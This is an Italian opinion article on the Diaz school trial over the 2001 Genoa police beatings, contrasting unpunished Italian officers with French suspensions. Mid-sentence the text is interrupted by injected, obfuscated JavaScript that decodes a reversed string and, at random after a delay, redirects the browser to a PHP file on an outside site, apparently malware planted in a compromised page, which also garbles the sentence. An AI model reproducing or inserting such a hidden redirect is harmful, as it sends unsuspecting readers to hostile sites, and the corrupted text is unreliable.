Picchiatori in carriera

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Se a Torino si fa la fila per assistere a un processo che stuzzica morbosità necrofile, a Genova non c’è quasi nessuno che abbia la curiosità di assistere a un dibattimento che mette a nudo il crepuscolo dello stato di fronte all’arroganza autoritaria degli apparati di sicurezza. La Franzoni attira molto più dei ‘Canterini boys’.
Peccato che non esista più “Un giorno in pretura”, la trasmissione tv che mostrava ai cittadini il reale corso della giustizia. Se ci fossero state le telecamere, le prime udienze del processo per i fatti della Diaz avrebbero fornito al rilassato pubblico dei telespettatori abbondanti materiali di riflessione, indignazione, orrore, oppure – dipende dai punti di vista – di cinica soddisfazione. Durante le prime deposizioni i testimoni hanno raccontato nel dettaglio i colpi ricevuti, le ferite, le fratture, le vessazioni. Hanno risposto a dom (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande come “Potrebbe descriverci qual è l’effetto fisico di una manganellata?”, o “Quanto è durato il pestaggio, alcuni secondi, pochi secondi, qualche minuto?”. Una testimone ha raccontato di essere stata trascinata per i capelli lungo le scale della scuola, un altro di essere stato ammanettato a una barella poco prima di essere operato alla testa (l’agente poi non è riuscito ad aprire il lucchetto e dopo qualche ora è intervenuto un fabbro per ‘liberare’ il detenuto), un altro ancora (il sottoscritto) ha ricordato di avere saputo solo 36 ore dopo i fatti, e leggendo una copia del Corriere della Sera avuta sottobanco da un agente, le ragioni del suo arresto, con tanti saluti non solo alla Costituzione ma anche al principio plurisecolare dell’habeas corpus.
Qualcuno, di fronte a simili racconti dell’orrore, potrebbe cominciare a fare qualche riflessione sulla condizione dei 29 imputati e sulla sorte delle decine di picchiatori in divisa entrati in azione alla Diaz il 21 luglio del 2001. I primi non si presentano mai alle udienze, anche perché impegnati nei rispettivi uffici, questure, squadre mobili: sono tutti regolarmente in servizio e quelli di grado di più alto nel frattempo hanno anche ottenuto promozioni. I secondi – i picchiatori – al processo non ci sono proprio, perché nessuno ha mai potuto riconoscerli (quella notte erano mascherati) e quindi fin dal 22 luglio 2001, dopo una ripulita alle divise insanguinate, hanno ripreso i loro normali compiti.
I telespettatori più informati, arrivati a questo punto, potrebbero fare un collegamento con una notizia di qualche tempo fa: l’arresto di un agente e la sospensione di alcuni altri poliziotti per un episodio di ingiustificate violenze contro i dimostranti delle banlieues francesi. In Italia, anche di fronte ad accuse gravissime e documentate (nessuno, nemmeno gli avvocati difensori, nega i pestaggi dentro la scuola Diaz), gli imputati non perdono il posto e anzi le carriere continuano come se nulla fosse, con la controfirma del ministro dell’Interno, il ‘moderato’ Beppe Pisanu, pronto a rassicurare gli imputati che non ci saranno sanzioni disciplinari o amministrative di alcun tipo fino – eventualmente – a una condanna passata in giudicato (prescrizione permettendo, of course). Passate le Alpi, il ‘falco’ Nicolas Sarkozy agisce ancora prima che intervenga la magistratura e sospende gli agenti picchiatori: certo non per tenerezza verso la “feccia che devasta le periferie”, ma perché ritiene che un ministro degli Interni debba tutelare i cittadini, la legge e il buon nome della polizia, prima che le carriere di qualche dirigente o la pretesa d’intoccabilità di una corporazione.
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